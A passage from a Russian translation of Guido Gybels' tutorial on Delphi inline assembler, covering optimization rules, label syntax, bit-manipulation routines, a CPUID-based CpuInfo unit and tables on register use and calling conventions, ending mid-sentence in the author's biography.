Аналогичный вопрос: какой минимальный набор инструкций должен быть в вашей программе, что бы она могла работать на 80486 или более ранних процессорах. Конечно, 80486 и более старые процессоры уже устарели и, как минимум, стоит ориентировать вашу программу на Intel Pentium Plain или выше. Тем не менее, если выбрать более новую модель, как базис, например Pentium II и выше, то вы игнорируете многие компьютеры с Pentium Plain и Pentium MMX, которые еще в ходу. Если вы выберите минимум как Pentium II, то вы сможете получить преимущества от дополнительных инструкций, таких как условные перемещения. Так же, в данном случае проще написать кусок кода, который будет поддерживать все платформы. Если вы решили включить поддержку Pentium Plain и MMX CPU, чтобы быть более осведомленным в других вещах, таких как парность команд, различные особенности по предсказанию переходов и т.д. Все это можно изучить в деталях в превосходном руководстве от Agner Fog на сайте http://www.agner.org/assem/, но давайте начнем, ниже несколько основных правил.

2.2.1. Не используйте комплексные команды

В большинстве случаев, комплексные строковые инструкции очень медленны и должны быть заменены оптимизированным циклом с простыми инструкциями. Без префикса rep, комплексные инструкции вообще за пределами вопроса. Только при определенных специфических условиях инструкции rep movsd и rep stosd могут быть быстрее, но только при условии, что оба адреса, приемник и источник, выровнены на границу восьми байт и при этом не должно быть конфликтов в кэше, и в свете того, что в данный момент Дельфи не дает возможности управлять выравниванием, вы не должны их использовать.

2.2.2. Используйте 32-битные алгоритмы, везде, где только возможно

Если только невозможно иначе, то вы не должны использовать инструкции, которые оперируют словами, более правильно использовать те, которые работают с переменными типа двойное слово. Байтовый доступ еще может иногда использоваться, но остерегайтесь использовать операции со словами. Ниже пример использования 32-битного алгоритма для поиска символа в строке. Идея основана на генерации уникального значения, если и только если символ найден. Поскольку пример обрабатывает строку по четыре байта за раз, то это значительно быстрее, чем обработка по одному байту за раз, несмотря на дополнительное усложнение, поскольку требуется обрабатывать сразу четыре байта.
function ScanStrForChar(C: Char; S: String): Integer; register;
asm
push EBX
push EDI
push ESI
test EDX,EDX
jz @notfound
mov ESI,[EDX-4]
test ESI,ESI
jz @notfound
add ESI,EDX
mov ah,al
mov di,ax
shl EDI,16
or di,ax
mov EAX,EDX
lea EDX,[EAX+3]
@L1:
cmp EAX,ESI
ja @notfound
mov EBX,[EAX]
xor EBX,EDI
add EAX,4
lea ECX,[EBX-$01010101]
not EBX
and ECX,EBX
and ECX,$80808080
jz @L1
mov EBX,ECX
shr EBX,16
test ECX,$8080
jnz @L2
mov ECX,EBX
@L2:
lea EBX,[EAX+2]
jnz @L3
mov EAX,EBX
@L3:
shl cl,1
sbb EAX,EDX
inc EAX
@ending:
pop ESI
pop EDI
pop EBX
ret
@notfound:
xor EAX,EAX
jmp @ending
end;
В зависимости от длины обрабатываемых строк, функция может быть быстрее стандартной функции pos раза в два. Заметим, что должна прочитать от одного до трех символов в конце строки, но в текущей версии компилятор всегда размещает строки по модулю четыре, так что, это не приносит проблем, но нельзя гарантировать, что в следующих версиях это будет так же. Вы можете устранить эту проблему, путем расчета остатка символов в конце строки по модулю четыре и обработать остаток побайтно. Вы потеряете некоторое быстродействие, но выиграете в надежности. Заметим, что компилятор добавляет одну или несколько инструкций ret после jmp @ending. Но они никогда не будут выполнены, поскольку мы включили инструкцию ret сами.
Вы должны избегать подобных вещей, поскольку если нужен фрейм стека, то вы должны будете сами написать код выхода (см. главу 1.2, где рассмотрены коды входа и выхода). В вышеприведенном примере нет фрейма стека, так что нет нужды и в коде выхода. Вы можете избежать этой проблемы, путем добавления инструкции jmp для условия, когда символ не найден, это просто пропустит установку результата в ноль, если строка пустая или символ не найден. После этого пример будет выглядеть так:
...
shl cl,1
sbb EAX,EDX
inc EAX
jmp @ending
@notfound:
xor EAX,EAX
@ending:
pop ESI
pop EDI
pop EBX
end;
Но, в этом случае вы будете вынуждены всегда добавлять дополнительную инструкцию jmp в ваш алгоритм, который немного от этого замедлится. Если вы обрабатывает достаточно длинные строки, то это почти незаметно на общем процессе обработке, и добавленный код может быть субъектом для оптимизации в дальнейшем, когда это станет важным.

2.2.3. Избегайте деления

Деление, как правило, более медленное - заменяйте его сдвигами или умножением с соответствующим значением.

2.2.4. Замечания по особым инструкциям

Битовые инструкции (bt, btc, bts, btr) должны по возможности заменяться на инструкции and, or, xor и test, когда приоритетом является скорость.
Избегайте инструкции wait. На старых процессорах инструкция wait была нужна для синхронизации доступа к памяти и уверенности, что сопроцессор был готов к выполнению операции. На процессорах Pentium это абсолютно лишнее. Единственная причина использования инструкции wait это отлов исключения из предыдущей инструкции. Сейчас большинство инструкций сопроцессора, отлавливают исключение без инструкции wait (исключая fnclex и fninit), вы можете опускать инструкцию wait в большинстве случаев. Если бит исключения устанавливается, то следующая инструкция с плавающей запятой отлавливает это. Если вы хотите быть уверенным, что любые, необслуженные исключения, были обработаны до окончания процедуры, то вы можете добавить инструкцию wait после критического по времени куска, что обработает все необслуженные исключения.

2.3. Метки

Имеется два типа меток, которые вы можете использовать в BASM: обычные Паскаль метки и локальные метки. Обычные метки требуется объявлять в секции label. Вторые начинаются с символа @. Поскольку символ @ не может быть частью идентификатора Object Pascal, то вы можете использовать локальные метки только внутри блока asm...end. Иногда, вы видите метки с двумя символами @. Этому есть объяснение. Я использую это для привлечения внимания, но это не требуется (некоторые ассемблеры используют @@ для идентификации особого класса меток, например @@: для анонимных меток). Метки автоматически объявляются написанием идентификатора и добавлением символа двоеточия в конце (@loop: или MyLoopStartsHere:). Для ссылки на такую метку, просто используйте идентификатор в выражении (естественно без двоеточия). Пример, как использовать локальную метку для организации цикла:
mov ECX,{Counter}
@loop:
... {команды цикла}
dec ECX
jnz @loop
Для того, что бы превратить локальную метку в обычную, сделайте так:
label
MyLoop;
asm
...
mov ECX,{Counter}
Myloop:
... {команды цикла}
dec ECX
jnz MyLoop
...
end;
Ни один из этих типов не лучше, чем другой. Нет никаких преимуществ ни в скорости, ни в размере кода, поскольку метки - это только указатель для компилятора для расчета смещений и переходов. Различие между нормальными и локальными метками больше в стиле программирования в Паскале. В действительности, даже нормальные метки, по сути, являются локальными, поскольку вы не можете перейти на метку за пределами текущей функции или процедуры. Все бы хорошо, если бы одно "но". Инструкция jmp в ассемблере более применима, чем команда Goto в Паскале (Если вы используете команду Goto без нужды в Паскале, то это является признаком плохого программирования. Всегда можно спроектировать ваш код без использования Goto), но также всегда вы должны искать пути для реализации алгоритма с минимальным использованием инструкций перехода (что, важно с точки зрения производительности).

2.4. Определение данных и констант

(Данная глава еще находится в стадии разработки...) Встроенный ассемблер поддерживает три директивы объявления данных, db-dw-dd (четыре в Дельфи 6: dq "четыре слова"), но в основном вы используете секции объявления var и const в вашем коде. Директивы определения данных могут использоваться только внутри asm…end блока, для генерации последовательностей байтов (db), слов (dw) и двойных слов (dd) соответственно (или четырех слов, dq, только Дельфи 6). Эти данные записываются в кодовый сегмент, и вы должны их изолировать с помощью инструкции перехода jmp от остального кода. Все это немного излишне, но вы можете использовать db, dw и dd для генерации инструкций, процессора, которые basm не поддерживает, например условные пересылки или MMX инструкции в Дельфи версий 2-5. В главе 2.2 я дал пример использования их для генерации кода инструкции cpuid. Директивы определения не могут использоваться для определения типов данных, так как в трансляторах masm или tasm. Для этого вы должны использовать обычные команды Паскаля.

2.5.Инструкции и приведение типов

(Данная глава в стадии разработки...)


Примеры

Примеры

В данной главе, мы приведем несколько примеров на basm. Это только первая часть моих статей по Дельфи и встроенному ассемблеру, которая опубликована на данном сайте. Расположено это на странице featured articles, и называется Considerations for writing and using Intel assembly code in Delphi projects (Последнее изменение 1 сентября 2001). Мы будем признательны за замечания или советы по этим страницам.
· Прямой доступ к портам в Windows 95 и 98
· Подсчет количества установленных бит в integer
· Проверка установки отдельного бита (0-31)
· Установка отдельного бита (0-31) в единицу
· Сброс отдельного бита
· Извлечение битовой маски их integer
Есть замечания насчет этих примеров? Пожалуйста, посылайте их по адресу в главе Как связаться с Гуйдо Гайбелсом!

Прямой доступ к портам в Windows 95 и 98

function PortInByte(PortAddress: Word): Byte;
asm
mov dx,ax
in al,dx
end;

procedure PortOutByte(PortAddress: Word; Data: Byte);
asm
xchg dx,ax
out dx,al
end;

Подсчет количества установленных бит в integer

function CountBits(const Value: Integer): Integer;
asm
mov ECX,EAX
xor EAX,EAX
test ECX,ECX
jz @@ending
@@counting:
shr ECX,1
adc EAX,0
test ECX,ECX
jnz @@counting
@@ending:
end;

Проверка установки отдельного бита (0-31)

function IsBit(Value, Pos: Integer): Boolean;
asm
mov ECX,EAX
xor EAX,EAX
and EDX,31
bt ECX,EDX
adc EAX,0
end;

Установка отдельного бита (0-31) в единицу

function SetBit(const Value, Pos: Integer): Integer;
asm
and EDX,31
bts EAX,EDX
end;

Сброс отдельного бита

function ClearBit(const Value, Pos: Integer): Integer;
asm
and EDX,31
btr EAX,EDX
end;

Извлечение битовой маски из integer

function ExtractBits(const Value, Start, Count: Integer): Integer;
const
Mask: array[0..31] of Integer =
($01,$03,$07,$0F,$1F,$3F,$7F,$FF,
$01FF,$03FF,$07FF,$0FFF,$1FFF,$3FFF,$7FFF,$FFFF,
$01FFFF,$03FFFF,$07FFFF,$0FFFFF,
$1FFFFF,$3FFFFF,$7FFFFF,$FFFFFF,
$01FFFFFF,$03FFFFFF,$07FFFFFF,$0FFFFFFF,
$1FFFFFFF,$3FFFFFFF,$7FFFFFFF,$FFFFFFFF);
asm
xchg ECX,EDX
test EDX,EDX
jnz @@isoke
xor EAX,EAX
jmp @@ending
@@isoke:
dec EDX
and EDX,31
shr EAX,cl
and EAX,dword ptr [Mask+EDX*4]
@@ending:
end;

Модуль CpuInfo

Здесь приведена часть проекта, модуль CpuInfo. Полностью проект находится на сайте Гуйдо Гайбелса http://www.optimalcode.com/Guido/cpuinfo.html и в виде архива cpuinfo.zip вместе с этой книгой.
unit cpuinfo;
{Author: Guido GYBELS, april 2001, All rights reserved.
 This unit offers some types and a global instance that
 uses the features of the CPUID instruction as it is
 implemented on modern Intel processors.
 By using the properties of the global CPUID object,
 application builders can quickly evaluate the features
 of the CPU their program is running on. This allows to
 optimise routines for specific CPU's.
 REVISION HISTORY:
 - april 2001, First version}
interface

uses Windows, Sysutils;

type
{The TCPUIDResult record type contains fields that
 stores the values returned by the various levels of
 the CPUID instruction.}
TCPUIDResult = packed record
IsValid: ByteBool;
HighestLevel: dWord;
GenuineIntel: ByteBool;
VendorID: packed array[0..11] of Char;
ProcessorSignature: dWord;
MiscInfo: dWord;
FeatureFlags: packed array[0..1] of dWord;
Stepping: Byte;
Model: Byte;
Family: Byte;
ProcessorType: Byte;
ExtendedModel: Byte;
ExtendedFamily: Byte;
FPUPresent: ByteBool;
TimeStampCounter: ByteBool;
CX8Supported: ByteBool;
FastSystemCallSupported: ByteBool;
CMOVSupported: ByteBool;
FCOMISupported: ByteBool;
MMXSupported: ByteBool;
SSESupported: ByteBool;
SSE2Supported: ByteBool;
SerialNumberEnabled: ByteBool;
CacheDescriptors: packed array[0..47] of Byte;
SerialNumber: packed array[0..1] of dWord;
end;
TCPUType = (ctOriginal, ctOverDrive, ctDualProcessor, ctUnknown);
TCPUFamily = (cfUnknown, cf486, cfPentium, cfPentiumPro, cfPentium4);
TCPUFeature = (ftFPU, ftTSC, ftCX8, ftFSC, ftCMOV, ftFCOMI, ftMMX, ftSSE, ftSSE2, ftSerialNumber);
TCacheSize = (caSizeUnknown, caNoCache, Ca128K, Ca256K, ca512K, ca1M, ca2M);
TCPUBrandID = (brUnsupported, brCeleron, brP3, brP3Xeon, brP4);
{The TCPUID class is the class for the global CPUID instance
that is created by this unit and that offers several properties
usefull in identifying the CPU your application is running on.
Application builders should use the global CPUID object since
there is no need to create new, additional, instances of this
class (because they would simply return an identical object).
All properties are read-only since it is impossible to change
the CPU characteristics.}
TCPUID = class
private
FCPUIDResult: TCPUIDResult;
function GetBooleanField(Index: Integer): Boolean;
function GetCPUBrand: TCPUBrandID;
function GetCPUFamily: TCPUFamily;
function GetCPUType: TCPUType;
function GetFeature(Index: TCPUFeature): Boolean;
function GetIntegerField(Index: Integer): Integer;
function GetLevel2Cache: TCacheSize;
function GetProcessor: String;
function GetSerialNumber: String;
function GetVendorID: String;
  public
constructor Create;
property BrandID: TCPUBrandID read GetCPUBrand;
property CanIdentify: Boolean index 0 read GetBooleanField;
property CPUFamily: TCPUFamily read GetCPUFamily;
property CPUID: TCPUIDResult read FCPUIDResult;
property CPUType: TCPUType read GetCPUType;
property Family: Integer index 3 read GetIntegerField;
property Features[Index: TCPUFeature]: Boolean read GetFeature;
property GenuineIntel: Boolean index 1 read GetBooleanField;
property HighestIDLevel: Integer index 0 read GetIntegerField;
property CacheSize: TCacheSize read GetLevel2Cache;
property Model: Integer index 2 read GetIntegerField;
property Processor: String read GetProcessor;
property SerialNumber: String read GetSerialNumber;
property Stepping: Integer index 1 read GetIntegerField;
property VendorID: String read GetVendorID;
  end;

var
CPUID: TCPUID;

implementation

const
SizeOfTCPUIDResult = SizeOf(TCPUIDResult);

{GetCPUIDResult is a basm routine that performs the actual
CPUID calls and stores the results in a record of type
TCPUIDResult. If the CPUID instruction is supported by the
processor, this routine will call it for every value of
eax allowed for that processor, making one call for each
value and storing the results in the record. Only for eax=2
is it possible that multiple calls are performed in order
to get to all the cache descriptors.
More information about the CPUID function can be found in
the Intel Application Note AP-485.}

function GetCPUIDResult: TCPUIDResult;
var
Counter: Byte;
asm
push ebx  {changes all general registers...}
push edi  {...so, make sure we save what needs to be preserved}
push esi
mov edi,eax {pointer to result in edi}
mov ecx,SizeOfTCPUIDResult
mov esi,edi {zero the entire record out}
add esi,ecx
neg ecx
@loop:
mov BYTE PTR [esi+ecx],0
inc ecx
jnz @loop
pushfd {test if bit 21 of extended flags}
pop eax {can toggle. If yes, then cpuid is supported}
mov ebx,eax
xor eax,1 shl 21
push eax
popfd
pushfd
pop eax
xor eax,ebx
and eax,1 shl 21 {Only if bit 21 can toggle...}
setnz TCPUIDResult(edi).IsValid {...are the results valid}
jz @ending {don't continue if cpuid is not supported}
xor eax,eax {eax=0: get highest value and Vendor ID}
db $0f,$a2 {cpuid}
mov DWORD PTR TCPUIDResult(edi).VendorID,ebx
mov DWORD PTR TCPUIDResult(edi).VendorID+4,edx
mov DWORD PTR TCPUIDResult(edi).VendorID+8,ecx
xor ebx,$756e6547 {Check if Vendor is Intel...}
xor edx,$49656e69
xor ecx,$6c65746e
or ebx,edx
or ebx,ecx
test ebx,ebx
setz TCPUIDResult(edi).GenuineIntel {...and set boolean accordingly}
mov TCPUIDResult(edi).HighestLevel,eax {also save highest level...}
cmp eax,0
setnz TCPUIDResult(edi).IsValid {...and if it is 0, results not valid}
jz @ending {if level 1 is not supported, bail out}
mov eax,1
db $0f,$a2 {cpuid} {else get processor signature and feature flags}
mov TCPUIDResult(edi).ProcessorSignature,eax
mov TCPUIDResult(edi).MiscInfo,ebx
mov DWORD PTR TCPUIDResult(edi).FeatureFlags,ecx
mov DWORD PTR TCPUIDResult(edi).FeatureFlags+4,edx
mov ebx,eax {Then isolate the various items from...}
and al,$0f {...the processor signature into their fields}
mov TCPUIDResult(edi).Stepping,al
mov eax,ebx
shr eax,4
and al,$0f
mov TCPUIDResult(edi).Model,al
mov eax,ebx
shr eax,8
and al,$0f
mov TCPUIDResult(edi).Family,al
mov eax,ebx
shr eax,12
and al,$03
mov TCPUIDResult(edi).ProcessorType,al
mov eax,ebx
shr eax,16
and al,$0f
mov TCPUIDResult(edi).ExtendedModel,al
mov eax,ebx
shr eax,20
mov TCPUIDResult(edi).ExtendedFamily,al
test edx,1 {Next, check various feature bits and set their...}
setnz TCPUIDResult(edi).FPUPresent {...respective flags in the record}
test edx,1 shl 4
setnz TCPUIDResult(edi).TimeStampCounter
test edx,1 shl 8
setnz TCPUIDResult(edi).CX8Supported
test edx,1 shl 11
setnz TCPUIDResult(edi).FastSystemCallSupported
test edx,1 shl 15
setnz TCPUIDResult(edi).CMOVSupported
mov eax,edx
and eax,(1 shl 15) or 1
cmp eax,(1 shl 15) or 1
setz TCPUIDResult(edi).FCOMISupported
test edx,1 shl 18
setnz TCPUIDResult(edi).SerialNumberEnabled
test edx,1 shl 23
setnz TCPUIDResult(edi).MMXSupported
test edx,1 shl 25
setnz TCPUIDResult(edi).SSESupported
test edx,1 shl 26
setnz TCPUIDResult(edi).SSE2Supported
cmp TCPUIDResult(edi).HighestLevel,2 {If eax=2 is not supported...}
jl @ending {...then bail out}
lea esi,TCPUIDResult(edi).CacheDescriptors
mov eax,2 {else get the cache descriptors}
db $0f,$a2 {cpuid}
and al,3 {first time, al will hold a counter...}
mov [Counter],al {...that tells us how often we should...}
xor al,al {...call with eax=2 to get all descriptors...}
@nextdescriptor:
test eax,1 shl 31 {If bit 31 is set, then no valid descriptors...}
jnz @invalidA {...so skip this register}
mov DWORD PTR [esi],eax
@invalidA:
test ebx,1 shl 31
jnz @invalidB
mov DWORD PTR [esi+4],ebx
@invalidB:
test ecx,1 shl 31
jnz @invalidC
mov DWORD PTR [esi+8],ecx
@invalidC:
test edx,1 shl 31
jnz @invalidD
mov DWORD PTR [esi+12],edx
@invalidD:
add esi,16
dec [Counter] {...see if there are more descriptors...}
jz @descriptorsfull {...if not, continue with next step}
db $0f,$a2 {cpuid} {...else, get next serie of descriptors}
jmp @nextdescriptor
@descriptorsfull:
cmp TCPUIDResult(edi).HighestLevel,3 {see if serial number...}
jl @ending {...is supported. If not, bail out.}
mov eax,3 {else get lower 64 bits of serial number...}
db $0f,$a2 {cpuid} {upper 32 bits = processor signature}
mov DWORD PTR TCPUIDResult(edi).SerialNumber,ecx {...and store them}
mov DWORD PTR TCPUIDResult(edi).SerialNumber+4,edx
@ending:
pop esi
pop edi
pop ebx
end;

{TCPUID}
resourcestring
rsUnknownVendor = 'UnknownVendor';

constructor TCPUID.Create;
begin
inherited;
FCPUIDResult:=GetCPUIDResult;
end;

function TCPUID.GetBooleanField(Index: Integer): Boolean;
begin
case Index of
0: {CanIdentify} Result:=FCPUIDResult.IsValid;
1: {GenuineIntel} Result:=FCPUIDResult.GenuineIntel;
else
Result:=False;
end;
end;

function TCPUID.GetIntegerField(Index: Integer): Integer;
begin
case Index of
   0: {HighestLevel} Result:=FCPUIDResult.HighestLevel;
   1: {Stepping} Result:=FCPUIDResult.Stepping;
   2: {Model} if FCPUIDResult.Model=15 then
        Result:=FCPUIDResult.ExtendedModel
      else Result:=FCPUIDResult.Model;
   3: {Family} if FCPUIDResult.Family=15 then
        Result:=15+FCPUIDResult.ExtendedFamily
      else Result:=FCPUIDResult.Family;
else
   Result:=0;
end;
end;

function TCPUID.GetVendorID: String;
begin
if CanIdentify then Result:=FCPUIDResult.VendorID
else Result:=rsUnknownVendor;
end;

function TCPUID.GetCPUType: TCPUType;
begin
case FCPUIDResult.Processortype of
  1: Result:=ctOverdrive;
  2: Result:=ctDualProcessor;
  3: Result:=ctUnknown;
else
  Result:=ctOriginal;
end;
end;

function TCPUID.GetCPUFamily: TCPUFamily;
begin
case FCPUIDResult.Family of
  4: Result:=cf486;
  5: Result:=cfPentium;
  6: Result:=cfPentiumPro;
  15: case FCPUIDResult.ExtendedFamily of
        0: Result:=cfPentium4;
      else
        Result:=cfUnknown;
      end;
else
  Result:=cfUnknown;
end;
end;

function TCPUID.GetFeature(Index: TCPUFeature): Boolean;
begin
case Index of
  ftFPU: Result:=FCPUIDResult.FPUPresent;
  ftTSC: Result:=FCPUIDResult.TimeStampCounter;
  ftCX8: Result:=FCPUIDResult.CX8Supported;
  ftFSC: Result:=FCPUIDResult.FastSystemCallSupported;
  ftCMOV: Result:=FCPUIDResult.CMOVSupported;
  ftFCOMI: Result:=FCPUIDResult.FCOMISupported;
  ftMMX: Result:=FCPUIDResult.MMXSupported;
  ftSSE: Result:=FCPUIDResult.SSESupported;
  ftSSE2: Result:=FCPUIDResult.SSE2Supported;
  ftSerialNumber: Result:=FCPUIDResult.SerialNumberEnabled;
else
  Result:=False;
end;
end;

function TCPUID.GetProcessor: String;
begin
if GenuineIntel then Result:='Intel ' else Result:='';
case CPUFamily of
  cf486: case Model of
    0..1: Result:=Result+'80486DX';
    2: Result:=Result+'80486SX';
    3: Result:=Result+'80486DX2';
    4: Result:=Result+'80486SL';
    5: Result:=Result+'80486SX2';
    7: Result:=Result+'80486DX2/WB-Enh';
    8: Result:=Result+'80486DX4';
  else
    Result:=Result+'80486';
  end;
  cfPentium: if Features[ftMMX] then Result:=Result+'Pentium MMX' else Result:=Result+'Pentium';
  cfPentiumPro: case Model of
    1: Result:=Result+'Pentium Pro';
    3..4: Result:=Result+'Pentium II, Model '+IntToStr(Model);
    5: case CacheSize of
        caNoCache: Result:='Celeron, Model 5';
        ca1M, ca2M: Result:='Pentium II Xeon, Model 5';
       else
        Result:=Result+'Pentium II, Model 5';
       end;
    6: Result:=Result+'Celeron, Model 6';
    7: case CacheSize of
        ca1M, ca2M: Result:=Result+'Pentium III Xeon, Model 7';
       else
        Result:=Result+'Pentium III, Model 7';
       end;
    8: case BrandID of
        brCeleron: Result:=Result+'Celeron, Model 8';
        brP3Xeon: Result:=Result+'Pentium III Xeon, Model 8';
       else
        Result:=Result+'Pentium III, Model 8';
       end;
    9: Result:=Result+'Pentium III Xeon, Model A';
  else
    Result:=Result+'Pentium Pro';
  end;
  cfPentium4: Result:=Result+'Pentium 4';
else
  Result:=Result+'Unknown CPU';
end;
case CPUType of
  ctOverDrive: Result:=Result+' OverDrive';
  ctDualProcessor: Result:=Result+' Dual CPU';
end;
Result:=Result+' (Stepping '+IntToStr(Stepping)+')';
end;

function TCPUID.GetLevel2Cache: TCacheSize;
var
I,M,S: Integer;
F: Boolean;
begin
Result:=caSizeUnknown;
M:=0;
S:=0;
F:=False;
for I:=Low(FCPUIDResult.CacheDescriptors) to High(FCPUIDResult.CacheDescriptors) do begin
if FCPUIDResult.CacheDescriptors[I]<>0 then F:=True;
case FCPUIDResult.CacheDescriptors[I] of
  $40: begin
         M:=0;
         break;
        end;
  $41,$79: S:=128;
  $42,$7a,$82: S:=256;
  $43,$7b: S:=512;
  $44,$7c,$84: S:=1024;
  $45,$85: S:=2048;
end;
if S>M then M:=S;
end;
if F then case M of
0: Result:=caNoCache;
128: Result:=ca128K;
256: Result:=ca256K;
512: Result:=ca512K;
1024: Result:=ca1M;
2048: Result:=ca2M;
end;
end;

function GetNibbleGroup(I: Integer): String;
var
T: Integer;
begin
T:=(I and $FFFF0000) shr 16;
Result:=IntToHex(T,4);
T:=(I and $FFFF);
Result:=Result+'-'+IntToHex(T,4);
end;

function TCPUID.GetSerialNumber: String;
begin
if Features[ftSerialNumber] then begin
Result:=GetNibbleGroup(FCPUIDResult.ProcessorSignature);
Result:=Result+'-'+GetNibbleGroup(FCPUIDResult.SerialNumber[1]);
Result:=Result+'-'+GetNibbleGroup(FCPUIDResult.SerialNumber[0]);
end else Result:='';
end;

function TCPUID.GetCPUBrand: TCPUBrandID;
var
I: Integer;
begin
if (Family>6) or ((Family=6) and (Model>7)) then begin
I:=FCPUIDResult.MiscInfo and 255;
case I of
1: Result:=brCeleron;
2: Result:=brP3;
3: Result:=brP3Xeon;
8: Result:=brP4;
else
Result:=brUnsupported;
end;
end else Result:=brUnsupported;
end;

initialization
CPUID:=TCPUID.Create;
finalization
CPUID.Free;
end.

Таблица 1: Использование регистров процессора

В данной таблице приведены сведения по использованию регистров процессора в 32-битных приложениях Дельфи. В первой колонке - список регистров. Во второй колонке - что содержится в регистре в секции входа в процедуру, а в третьей - что при выходе. В четвертой колонке - возможность использования регистра в коде и в последней колонке - необходимость сохранения регистра (сохранять при входе и восстанавливать при выходе).
Регистр   Код входа   Код выхода   Можно ли использовать?   Нужно ли сохранять
EAX   Self (1), Первый параметр (2) или не определен (3)   Результат функции (4)   Да   Нет
EBX   Неизвестно   Не используется   Да   Да
ECX   Второй параметр (1), третий параметр (2) или не определен (3)   Не используется   Да   Нет
EDX   Первый параметр (1), второй параметр (2) или не определен (3)   Для Int64 старшее двойное слово результата, или не используется   Да   Нет
ESI   Не определен   Не используется   Да   Да
EDI   Не определен   Не используется   Да   Да
EBP   Указатель фрейма стека   Указатель фрейма стека   Да   Да
ESP   Указатель стека   Указатель стека   Да   n/a
cs   Кодовый сегмент (5)   Не используется   Нет   Да
ds   Сегмент модели памяти (5)   Не используется   Нет   Да
es   Сегмент модели памяти (5)   Не используется   Нет   Да
fs   Резервировано для Windows    Резервировано для Windows   Нет   Да
gs   Резервировано   Резервировано   Нет   Да
ss   Сегмент стека (5)   Не используется   Нет   Да

(1) Для метода, когда используется соглашение Register
(2) Для автономных функций и процедур, когда используется соглашение Register
(3) Для всех других случаев при всех соглашенияч о вызове
(4) Только для результата, который полностью помещается в регистр. См. таблицу для полного обзора как результаты возвращаются из функции.
(5) В плоской 32-битной модели памяти все сегментные регистры нормально указывают на один и тот же сегмент памяти. Тем не менее, при анализе поведения Дельфи, оказывается, что регистр cs имеет различное значение.

Таблица 2: Передача параметров в функции и процедуры

В следующей таблице приведены сведения о передаче параметров по значению (включая, директиву const) в процедуры и функции Дельфи. При передаче по ссылке (директива var), все параметры передаются как 32-битные указатели.
Тип   Размер   Регистр (1)
ShortInt   1 байт (2)   Да
SmallInt   1 слово (2)   Да
LongInt   1 двойное слово   Да
Byte   1 байт (2)   Да
Word   1 слово (2)   Да
Dword   1 двойное слово   Да
Int64   8 байт   Нет
Boolean   1 байт (2)   Да
ByteBool   1 байт (2)   Да
WordBool   1 слово (2)   Да
LongBool   1 двойное слово   Да
Char   1 байт (2)   Да
AnsiChar   1 байт (2)   Да
WideChar   1 слово (2)   Да
ShortString   32-битный указатель   Да
AnsiString   32-битный указатель   Да
WideString   32-битный указатель   Да
Variant   32-битный указатель   Да
Pointers   1 двойное слово   Да
Objects   32-битный указатель   Да
Class and Class reference   32-битный указатель   Да
Procedure pointer   1 двойное слово   Да
Method pointers   Два 32-битных указателя (3)   Нет
Sets   Значение типа байт/слово/двойное слово или 32-битный указатель (4)   Да (4)
Records   Значение типа байт/слово/двойное слово или 32-битный указатель (4) (5)   Да (4)
Static Arrays   Значение типа байт/слово/двойное слово или 32-битный указатель (4)   Да (4)
Dynamic arrays   32-битный указатель   Да
Open array   Два 32-битных значения (6)   Нет
Single   4 байта   Нет
Double   8 байт   Нет
Extended   12 байт (7)   Нет
Real48   8 байт (8)   Нет
Currency   8 байт   Нет

(1) Если указано, то тип передается через регистр. Типы, которые не указаны, всегда передаются через стек.
(2) Когда эти типы занимают менее 32 бит, тогда при передаче на стек они всегда занимают 32 бита, и значение находится в младшей части, содержимое оставшей части неопределено.
3) Указатели на метод передаются через стек, как два 32-битных указателя, указатель на экземпляр помещается перед указателем на метод, так что позже это становится младшим адресом.
(4) Если тип помещается в байт/слово/двойное слово, то он передается непосредственно. Иначе, передается 32-битный указатель на память, где хранится этот тип.
(5) При использовании соглашения по вызову типа cdecl, stdcall или safecall, записи всегда передаются через стек и их размер округляется в сторону большего двойного слова.
(6) Первое значение это 32-битный указатель на массив, а второе значение содержит количество элементов в массиве.
(7) Используются только младшие 10 байт.
(8) Используется только младшие 6 байт.

Таблица 3: Результаты возврата функций

В следующей таблице приведен обзор того, как результаты возвращаются из функции в программу. Для более подробной информации насчет каждого типа, читайте соответствующий раздел.
Тип Дельфи   Результат   Размер
ShortInt    al   8-битное значение
SmallInt   ax   16-битное значение
LongInt   EAX   32-битное значение
Byte   al   Значение типа байт
Word   ax   Значение типа слово
Dword   EAX   Значение типа двойное слово
Int64   EDX:EAX   64-битное значение
Boolean   al   Значение типа байт
ByteBool   al   Значение типа байт
WordBool   ax   Значение типа слово
LongBool   EAX   Значение типа двойное слово
Char   al   Значение типа байт
AnsiChar   al   Значение типа байт
WideChar   ax   Значение типа слово
ShortString   Указатель в  Result (1)   32-битный указатель
AnsiString   Указатель в  Result (1)   32-битный указатель
WideString   Указатель в  Result (1)   32-битный указатель
Variant   Указатель в  Result (1)   32-битный указатель
Pointers   EAX   32-битный указатель
Objects   EAX   32-битный указатель
Class and Class reference   EAX   32-битный указатель
Procedure pointer   EAX   32-битный указатель
Method pointers   Указатель в  Result (2)   2 x 32-битных указателя
Sets   EAX или Result (3)   Непосредственно или как 32-битный указатель (3)
Records   EAX или Result (3)   Непосредственно или как 32-битный указатель (3)
Static Arrays   EAX или Result (3)   Непосредственно или как 32-битный указатель (3)
Dynamic arrays   Указатель в  Result (1)   32-битный указатель
Single   ST(0)   n/a
Double   ST(0)   n/a
Extended   ST(0)   n/a
Real48   ST(0)   n/a
Currency   ST(0) (4)   n/a
(1) Переменная Result в действительности передается в функцию, как дополнительный var параметр. Эта переменная Result содержит 32-битный указатель на область результата в памяти. Подлинное местонахождение зависит от типа использованного соглашения о вызове: Для соглашения register это может быть EAX, EDX или ECX, в зависимости от количества переданных параметров. В других случаях Result это 32-битный указатель на стеке.
(2) Переменная Result указывает на адрес памяти где расположены два 32-битных указателя. Этот указатель передается так, как если бы он был действительно объявлен, и его точное местонахождение зависит от типа используемого соглашения о вызове.
(3) Если подлинный тип помещается в 32 бита, то он возвращается напрямую через регистр al/ax/EAX. Иначе, Result содержит 32-битный указатель на переменную памяти, и он передается в функцию, как если бы он был объявлен как дополнительный 32-битный var параметр. Этот параметр (точное местонахождение зависит от типа использованного соглашения о вызове) должен содержать указатель на действительные данные в памяти
(4) Значение в ST(0) является маштабированным значением (x10000). Для примера, значение 5,8745 возвращается как 58745.

Как связаться с Гуйдо Гайбелсом

Я – глава ICT, подразделения

Королесвкого Национального Института Глухих (Royal National Institute for Deaf people) (RNID), крупного благотворительного учреждения в Великобритании. Моя основная задача – возглавлять группу ICT с целью определения и
использования преимуществ технологий для нужд глухих и плохо слышащих, особенно в сфере информации и коммуникационных технологий. Под моим
управлением группа ICT будет проводить как исследования, так и
разработки в данной области и моя задача сделать эту группу основным
распространителем передовых технологий в этой области, более тесно
работа с партнерами, организациями, определяющими различные
